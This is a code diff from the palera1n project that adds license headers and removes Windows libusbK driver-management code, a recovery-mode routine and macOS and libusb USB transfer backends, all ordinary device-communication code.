* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiRecoveryPanel.hpp"
@@ -12,9 +39,6 @@
#include "../globals.h"
#include "../paleinfo.h"
#include <libimobiledevice/libimobiledevice.h>
#include <libimobiledevice/lockdown.h>
static const char *buttons[] = { "Back", "Next" };
static constexpr int kRecoveryContentX = 2;
static constexpr int kRecoveryContentWidth = 60;
@@ -113,26 +137,7 @@ void TuiRecoveryPanel::enter_recovery_mode() {
return;
}
idevice_t device = nullptr;
lockdownd_client_t client = nullptr;
if (idevice_new(&device, state.udid.c_str()) != IDEVICE_E_SUCCESS) {
m_is_entering_recovery = false;
m_buttons_disabled = false;
return;
}
if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) {
idevice_free(device);
m_is_entering_recovery = false;
m_buttons_disabled = false;
return;
}
lockdownd_enter_recovery(client);
lockdownd_client_free(client);
idevice_free(device);
enter_recovery();
}).detach();
}
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_RECOVERY_PANEL_HPP
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiSettingsPanel.hpp"
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_SETTINGS_PANEL_HPP
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_TEXT_HPP
-256
View File
@@ -1,256 +0,0 @@
#ifdef _WIN32
#include "driver.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <setupapi.h>
#include <devguid.h>
#pragma comment(lib, "setupapi.lib")
#include <libwdi.h>
#include "../utils.h"
#define MAX_MATCHING_DRIVERS 16
static void add_target_driver(char list[MAX_MATCHING_DRIVERS][64], int *count, const char *inf)
{
if (*count >= MAX_MATCHING_DRIVERS || strlen(inf) == 0) return;
for (int i = 0; i < *count; i++) {
if (strcmp(list[i], inf) == 0) return;
}
strncpy(list[*count], inf, 63);
list[*count][63] = '\0';
(*count)++;
}
driver_result_t install_libusbk_target(unsigned short vid, unsigned short pid)
{
struct wdi_device_info *list = NULL;
struct wdi_options_create_list cl = { .list_all = TRUE };
struct wdi_options_prepare_driver prep = {
.driver_type = WDI_LIBUSBK,
.vendor_name = "libusbK"
};
struct wdi_options_install_driver inst = {0};
LOG_VERBOSE("Target: VID:%04X PID:%04X", vid, pid);
if (wdi_create_list(&list, &cl) != WDI_SUCCESS) {
LOG_ERROR("wdi_create_list failed");
return DRIVER_ERROR;
}
char temp_path[MAX_PATH];
char driver_path[MAX_PATH];
if (GetTempPathA(MAX_PATH, temp_path) == 0) {
LOG_ERROR("GetTempPathA failed");
wdi_destroy_list(list);
return DRIVER_ERROR;
}
snprintf(driver_path, sizeof(driver_path), "%slibusbk_driver\\", temp_path);
CreateDirectoryA(driver_path, NULL);
bool found = false;
bool installed = false;
bool failed = false;
for (struct wdi_device_info *d = list; d; d = d->next) {
if (d->vid != vid || d->pid != pid)
continue;
found = true;
if (d->driver && _stricmp(d->driver, "libusbK") == 0) {
LOG_VERBOSE(
"Device %04X:%04X already using libusbK",
vid,
pid
);
installed = true;
break;
}
LOG("Installing libusbK for %04X:%04X...", vid, pid);
if (wdi_prepare_driver(
d,
driver_path,
"libusbk_driver.inf",
&prep
) != WDI_SUCCESS)
{
LOG_ERROR("wdi_prepare_driver failed");
failed = true;
continue;
}
if (wdi_install_driver(
d,
driver_path,
"libusbk_driver.inf",
&inst
) != WDI_SUCCESS)
{
LOG_ERROR("wdi_install_driver failed");
failed = true;
continue;
}
LOG_SUCCESS(
"libusbK driver successfully installed for %04X:%04X",
vid,
pid
);
installed = true;
}
wdi_destroy_list(list);
if (!found)
return DRIVER_NOT_PRESENT;
if (installed && !failed)
return DRIVER_SUCCESS;
return DRIVER_ERROR;
}
driver_result_t uninstall_libusbk_target(unsigned short vid, unsigned short pid)
{
char hwid_u[64], hwid_l[64];
snprintf(hwid_u, sizeof(hwid_u), "USB\\VID_%04X&PID_%04X", vid, pid);
snprintf(hwid_l, sizeof(hwid_l), "usb\\vid_%04x&pid_%04x", vid, pid);
LOG_VERBOSE("Target Signature: %s (libusbK)", hwid_u);
char temp_path[MAX_PATH], log_path[MAX_PATH], cmd[512];
if (GetTempPathA(MAX_PATH, temp_path) == 0) return DRIVER_ERROR;
snprintf(log_path, sizeof(log_path), "%spnputil_drivers.txt", temp_path);
// Strip active instances first
snprintf(cmd, sizeof(cmd), "pnputil /remove-device /deviceid \"%s\" >nul 2>&1", hwid_u);
system(cmd);
// Dump staging tables
snprintf(cmd, sizeof(cmd), "pnputil /enum-drivers > \"%s\"", log_path);
system(cmd);
FILE *fp = fopen(log_path, "r");
char line[256], current_oem_inf[64] = {0};
char target_drivers_list[MAX_MATCHING_DRIVERS][64];
int target_count = 0, is_libusbk = 0, matches_hwid = 0;
if (fp) {
while (fgets(line, sizeof(line), fp)) {
if (strstr(line, "Published Name:") || strstr(line, "Published name:")) {
if (is_libusbk && matches_hwid) {
add_target_driver(target_drivers_list, &target_count, current_oem_inf);
}
is_libusbk = matches_hwid = 0;
current_oem_inf[0] = '\0';
char *inf_ptr = strstr(line, "oem");
if (inf_ptr) sscanf(inf_ptr, "%63s", current_oem_inf);
}
if (strstr(line, "libusbK") || strstr(line, "libusbk")) is_libusbk = 1;
if (strstr(line, hwid_u) || strstr(line, hwid_l) || strstr(line, "libusbk_driver.inf")) matches_hwid = 1;
}
if (is_libusbk && matches_hwid) {
add_target_driver(target_drivers_list, &target_count, current_oem_inf);
}
fclose(fp);
DeleteFileA(log_path);
}
if (target_count > 0) {
for (int i = 0; i < target_count; i++) {
LOG("Purging driver package (%d/%d): %s", i + 1, target_count, target_drivers_list[i]);
snprintf(cmd, sizeof(cmd), "pnputil /delete-driver %s /uninstall /force >nul 2>&1", target_drivers_list[i]);
system(cmd);
}
snprintf(cmd, sizeof(cmd), "pnputil /scan-devices >nul 2>&1");
system(cmd);
LOG_SUCCESS("All %d libusbK driver instances fully uninstalled.", target_count);
return DRIVER_SUCCESS;
}
LOG_ERROR("No matching libusbK driver package found in system store");
return DRIVER_NOT_PRESENT;
}
bool usb_device_present(unsigned short vid, unsigned short pid)
{
HDEVINFO info;
SP_DEVINFO_DATA dev_info;
char target[64];
snprintf(
target,
sizeof(target),
"VID_%04X&PID_%04X",
vid,
pid
);
info = SetupDiGetClassDevsA(
NULL,
"USB",
NULL,
DIGCF_PRESENT | DIGCF_ALLCLASSES
);
if (info == INVALID_HANDLE_VALUE)
return false;
dev_info.cbSize = sizeof(dev_info);
for (DWORD i = 0;
SetupDiEnumDeviceInfo(info, i, &dev_info);
i++)
{
char hardware_ids[4096];
DWORD size = 0;
if (!SetupDiGetDeviceRegistryPropertyA(
info,
&dev_info,
SPDRP_HARDWAREID,
NULL,
(PBYTE)hardware_ids,
sizeof(hardware_ids),
&size))
{
continue;
}
char *id = hardware_ids;
while (*id) {
if (strstr(id, target)) {
SetupDiDestroyDeviceInfoList(info);
return true;
}
id += strlen(id) + 1;
}
}
SetupDiDestroyDeviceInfoList(info);
return false;
}
#endif
-28
View File
@@ -1,28 +0,0 @@
#ifdef _WIN32
#ifndef DRIVER_MOD_H
#define DRIVER_MOD_H
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
DRIVER_SUCCESS = 0,
DRIVER_NOT_PRESENT,
DRIVER_ERROR,
} driver_result_t;
driver_result_t install_libusbk_target(unsigned short vid, unsigned short pid);
driver_result_t uninstall_libusbk_target(unsigned short vid, unsigned short pid);
bool usb_device_present(unsigned short vid, unsigned short pid);
#ifdef __cplusplus
}
#endif
#endif // DRIVER_MOD_H
#endif // _WIN32
-280
View File
@@ -1,280 +0,0 @@
#ifdef __APPLE__
#include "usb_iokit.h"
#include <stdbool.h>
#include <CommonCrypto/CommonCrypto.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOCFPlugIn.h>
#include <IOKit/usb/IOUSBLib.h>
#include "../../utils.h"
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
if(cf_val != NULL) {
CFDictionarySetValue(dict, key, cf_val);
CFRelease(cf_val);
}
}
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
IOCFPlugInInterface **plugin_interface;
SInt32 score;
bool ret = false;
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
IODestroyPlugInInterface(plugin_interface);
}
IOObjectRelease(serv);
return ret;
}
static bool open_usb_interface(usb_handle_t *handle) {
IOUSBFindInterfaceRequest req;
io_iterator_t iter;
io_service_t intfServ;
IOReturn kr;
req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
if(kr != kIOReturnSuccess) return false;
while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
IOCFPlugInInterface **plugin = NULL;
IOUSBInterfaceInterface245 **intf = NULL;
SInt32 score = 0;
HRESULT res;
kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
IOObjectRelease(intfServ);
if(kr != kIOReturnSuccess || !plugin) continue;
res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
(*plugin)->Release(plugin);
if(res != S_OK || !intf) continue;
kr = (*intf)->USBInterfaceOpen(intf);
if(kr != kIOReturnSuccess) {
(*intf)->Release(intf);
continue;
}
handle->interface = intf;
IOObjectRelease(iter);
return true;
}
IOObjectRelease(iter);
return false;
}
void close_usb_device(usb_handle_t *handle) {
if(handle->async_event_source) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
CFRelease(handle->async_event_source);
handle->async_event_source = NULL;
}
if(handle->interface) {
(*handle->interface)->USBInterfaceClose(handle->interface);
(*handle->interface)->Release(handle->interface);
handle->interface = NULL;
}
if(handle->device) {
(*handle->device)->USBDeviceClose(handle->device);
(*handle->device)->Release(handle->device);
handle->device = NULL;
}
}
void close_usb_handle(usb_handle_t *handle) {
close_usb_device(handle);
}
bool open_usb_device(io_service_t serv, usb_handle_t *handle) {
bool ret = false;
if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) {
if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) {
if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
if(open_usb_interface(handle)) {
ret = true;
} else {
(*handle->device)->USBDeviceClose(handle->device);
}
} else {
(*handle->device)->USBDeviceClose(handle->device);
}
}
if(!ret) {
(*handle->device)->Release(handle->device);
handle->device = NULL;
}
}
return ret;
}
bool wait_usb_handle(usb_handle_t *handle) {
CFMutableDictionaryRef matching_dict;
io_iterator_t iter;
io_service_t serv;
bool ret = false;
while((matching_dict = IOServiceMatching(kUSBDeviceClassName)) != NULL) {
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) {
while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
if(open_usb_device(serv, handle)) {
ret = true;
break;
}
}
IOObjectRelease(iter);
if(ret) break;
sleep_ms(USB_TIMEOUT);
}
}
return ret;
}
void reset_usb_handle(usb_handle_t *handle) {
if(handle->device) {
(*handle->device)->ResetDevice(handle->device);
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
}
}
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
transfer_ret_t *transfer_ret = refcon;
if(transfer_ret != NULL) {
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
if(ret == kIOReturnSuccess) {
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == kUSBPipeStalled) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
CFRunLoopStop(CFRunLoopGetCurrent());
}
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
IOUSBDevRequestTO req;
IOReturn ret;
req.wLenDone = 0;
req.pData = p_data;
req.bRequest = b_request;
req.bmRequestType = bm_request_type;
req.wLength = OSSwapLittleToHostInt16(w_len);
req.wValue = OSSwapLittleToHostInt16(w_value);
req.wIndex = OSSwapLittleToHostInt16(w_index);
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
if(transfer_ret != NULL) {
if(ret == kIOReturnSuccess) {
transfer_ret->sz = req.wLenDone;
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == kUSBPipeStalled) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
IOUSBDevRequestTO req;
req.wLenDone = 0;
req.pData = p_data;
req.bRequest = b_request;
req.bmRequestType = bm_request_type;
req.wLength = OSSwapLittleToHostInt16(w_len);
req.wValue = OSSwapLittleToHostInt16(w_value);
req.wIndex = OSSwapLittleToHostInt16(w_index);
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) {
sleep_ms(usb_abort_timeout);
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
CFRunLoopRun();
return true;
}
}
return false;
}
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
if(!handle || !handle->interface) return false;
IOUSBDevRequest req = {
.bmRequestType = bm_request_type,
.bRequest = b_request,
.wValue = w_value,
.wIndex = w_index,
.wLength = (UInt16)w_len,
.pData = p_data,
};
IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
if(transfer_ret) {
transfer_ret->ret = (ret == kIOReturnSuccess)
? USB_TRANSFER_OK
: USB_TRANSFER_ERROR;
transfer_ret->sz = req.wLenDone;
}
return ret == kIOReturnSuccess;
}
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
if(!handle || !handle->interface) return false;
IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
return ret == kIOReturnSuccess;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
handle->interface = NULL;
handle->async_event_source = NULL;
}
#endif
-62
View File
@@ -1,62 +0,0 @@
#ifdef __APPLE__
#ifndef IOKIT_BACKEND_H
#define IOKIT_BACKEND_H
#include <stdbool.h>
#include <IOKit/IOCFPlugIn.h>
#include <IOKit/usb/IOUSBLib.h>
#define USB_TIMEOUT (5)
#ifdef __APPLE__
# if TARGET_OS_IPHONE
# define kUSBPipeStalled kUSBHostReturnPipeStalled
# else
# define kUSBPipeStalled kIOUSBPipeStalled
# endif
#endif
#ifdef __APPLE__
# if TARGET_OS_IPHONE
# define kUSBDeviceClassName "IOUSBHostDevice"
# else
# define kUSBDeviceClassName kIOUSBDeviceClassName
# endif
#endif
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL,
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef struct {
uint16_t vid, pid;
io_service_t serv;
IOUSBDeviceInterface320 **device;
IOUSBInterfaceInterface245 **interface;
CFRunLoopSourceRef async_event_source;
} usb_handle_t;
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
void close_usb_device(usb_handle_t *handle);
void close_usb_handle(usb_handle_t *handle);
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
bool wait_usb_handle(usb_handle_t *handle);
void reset_usb_handle(usb_handle_t *handle);
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
#endif // IOKIT_BACKEND_H
#endif // __APPLE__
-193
View File
@@ -1,193 +0,0 @@
#ifndef __APPLE__
#include "usb_libusb.h"
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <libusb-1.0/libusb.h>
#include "../../utils.h"
void close_usb_handle(usb_handle_t *handle) {
#if _WIN32
libusb_release_interface(handle->device, 0);
#endif
libusb_close(handle->device);
libusb_exit(NULL);
}
void reset_usb_handle(const usb_handle_t *handle) {
libusb_reset_device(handle->device);
}
bool wait_usb_handle(usb_handle_t *handle) {
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
for(;;) {
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
#if _WIN32
libusb_set_auto_detach_kernel_driver(handle->device, 1);
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY)
{
if(libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
return true;
}
}
#else
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
return true;
}
#endif
libusb_close(handle->device);
}
sleep_ms(USB_TIMEOUT);
}
}
return false;
}
void usb_async_cb(struct libusb_transfer *transfer) {
*(int *)transfer->user_data = 1;
}
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
if(transfer_ret != NULL) {
if(ret >= 0) {
transfer_ret->sz = (uint32_t)ret;
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
struct timeval tv;
int completed = 0;
uint8_t *buf;
if(transfer != NULL) {
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
}
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
tv.tv_sec = usb_abort_timeout / 1000;
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
libusb_cancel_transfer(transfer);
}
if(completed != 0) {
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
}
if(transfer_ret != NULL) {
transfer_ret->sz = (uint32_t)transfer->actual_length;
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
transfer_ret->ret = USB_TRANSFER_OK;
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
}
}
free(buf);
}
libusb_free_transfer(transfer);
}
return completed != 0;
}
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
if(transfer_ret != NULL) {
if(ret >= 0) {
transfer_ret->sz = (uint32_t)ret;
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
{
static uint32_t maxLen = 0;
int transferred = 0;
int32_t r;
if(maxLen == 0)
{
r = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
if(r == LIBUSB_SUCCESS)
{
return transferred == len ? LIBUSB_SUCCESS : LIBUSB_ERROR_INTERRUPTED;
}
else if(r != LIBUSB_ERROR_NO_MEM)
{
return r;
}
#if defined(__linux__)
// We only get here on ENOMEM
FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
if(f)
{
char str[32]; // More than enough to hold a uint64 in decimal
size_t s = fread(str, 1, sizeof(str), f);
fclose(f);
if(s == 0 || s >= sizeof(str)) return r;
str[s] = '\0';
char *end = NULL;
unsigned long long max = strtoull(str, &end, 0);
// Using the limit as-is will lead to ENOMEM, so we multiply
// by half a MB and impose an appropriate max value.
if(*end == '\n') ++end;
if(*end != '\0' || max == 0 || max >= 0x2000) return r;
maxLen = (uint32_t)(max << 19);
}
else
#endif
{
// Just 1MB by default?
maxLen = 0x100000;
}
}
// If we get here, we have to chunk our data
for(int done = transferred; done < len; )
{
uint32_t chunk = len - done;
if(chunk > maxLen) chunk = maxLen;
transferred = 0;
r = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
done += transferred;
if(r == LIBUSB_SUCCESS) continue;
if(r != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) return r;
maxLen /= 2;
}
return LIBUSB_SUCCESS;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
}
#endif // __APPLE__
-39
View File
@@ -1,39 +0,0 @@
#ifndef __APPLE__
#ifndef LIBUSB_BACKEND_H
#define LIBUSB_BACKEND_H
#include <stdbool.h>
#include <libusb-1.0/libusb.h>
#define USB_TIMEOUT (5)
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL,
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef struct {
uint16_t vid, pid;
struct libusb_device_handle *device;
} usb_handle_t;
void close_usb_handle(usb_handle_t *handle);
void reset_usb_handle(const usb_handle_t *handle);
bool wait_usb_handle(usb_handle_t *handle);
void usb_async_cb(struct libusb_transfer *transfer);
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
